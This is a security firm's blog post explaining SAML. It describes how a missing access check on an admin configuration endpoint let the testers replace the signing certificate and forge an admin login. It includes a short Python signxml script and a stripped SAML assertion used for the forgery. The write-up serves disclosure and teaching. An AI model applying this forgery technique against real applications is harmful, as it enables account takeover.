What's SAML?
Security Assertion Markup Language (SAML) is an open standard for managing authentication and authorisation to and from third party identity providers. In essence, if your web application wants to add support for logging in via Microsoft’s SSO (and in the words of the BBC, other brands are available), you can utilise SAML to communicate between your application and Microsoft to ensure Microsoft has successfully authenticated your customer. We’ll briefly look at how SAML works, and how we were able to escalate privileges to a system administrator during a security assessment due to a missing authorisation check.
How SAML Works
SAML is a mishmash of various standards, including XML, XML schemas, XML signatures, and HTTP. The flow for authenticating a user using SAML looks like this:
This flow is similar to OAuth, but essentially, your user visits your application, they are then redirected to the identity provider (e.g. Microsoft) where they log in. Once logged in, Microsoft responds with a XML document containing information about your user such as their email address and your user forwards that information onto you. Your web application then verifies the signature (which prevents you from modifying your user details) and then considers your user to be authenticated.
The most important feature is that signature stored within the XML document. This ensures that your user cannot modify the payload and impersonate another user. The image below shows an example SAML response for a user logging in via Azure SSO. We can see the signature and the details of the user, in this case an email address and a unique identifier for the user:
Using this signature and the attributes of our user, we know that the user “testuser@contoso.com” successfully authenticated to Microsoft and we can trust the SAML response. For our web application, we have the X.509 public key provided by Microsoft for which they sign responses for our application. So, what happens when that X.509 public key is controlled by an attacker?
SAML Shenanigans
During testing our application, we identified that the endpoint “/api/admin/authentication-configuration” did not implement any access controls. As a result, we could modify the authentication configuration of the application, including the ability to modify the SAML signature certificate used to verify SAML responses, as a low privileged user on the application. Uh oh!
We instantly looked to develop a proof of concept for this. To start out, I took a stripped down version of a SAML response, removing most of the attributes that weren’t validated by the application:
https://example.com
https://example.com
admin@example.com
admin@example.com
I then wrote a small Python script which takes in my own private key to sign the document. The Python script is fairly self-explanatory, fetching the content of the key, certificate, and the XML document above, signing it using the same algorithm that Microsoft uses to sign their SAML responses, and saving the signed XML document to it’s own file:
from lxml import etree
import signxml
import base64
import urllib.parse
with open("cert.pem") as cert_file, open("key.pem") as key_file, open("body.xml", "rb") as xml_file:
cert = cert_file.read()
key = key_file.read()
data_to_sign = xml_file.read()
signer = signxml.XMLSigner()
ns = {None: signer.namespaces['ds']}
signer.namespaces = ns
signer.c14n_alg = signxml.algorithms.CanonicalizationMethod.EXCLUSIVE_XML_CANONICALIZATION_1_0
root = etree.fromstring(data_to_sign)
signed_root = signer.sign(root, key=key, cert=cert)
with open("signed.xml", "w") as signed_file:
signed_file.write(etree.tostring(signed_root).decode())
The result then looks similar to the response from Microsoft, with the `Signature` tag containing the signature of the document created using my private key. Using the endpoint with the broken access control, I updated the application to use my own public key and finally intercepted the original login flow and replaced the SAML response from Microsoft and if by magic…
In Conclusion...
SAML is a super easy way to integrate various SSO implementations, but any authentication implementation is only as good as the weakest link in the chain. This vulnerability was only possible due to missing authorisation checks elsewhere in the program – there was nothing wrong with the implementation of SAML but being able to change the certificate and escalate privileges due to missing a small authentication check was just too interesting to not write about.
If you are concerned about SAML or the risk that your applications pose to your business and clients, please do consider reaching out and using our web application penetration testing service.
Credits
Our client, for allowing us to publish this story.
https://upload.wikimedia.org/wikipedia/commons/0/04/Saml2-browser-sso-redirect-post.png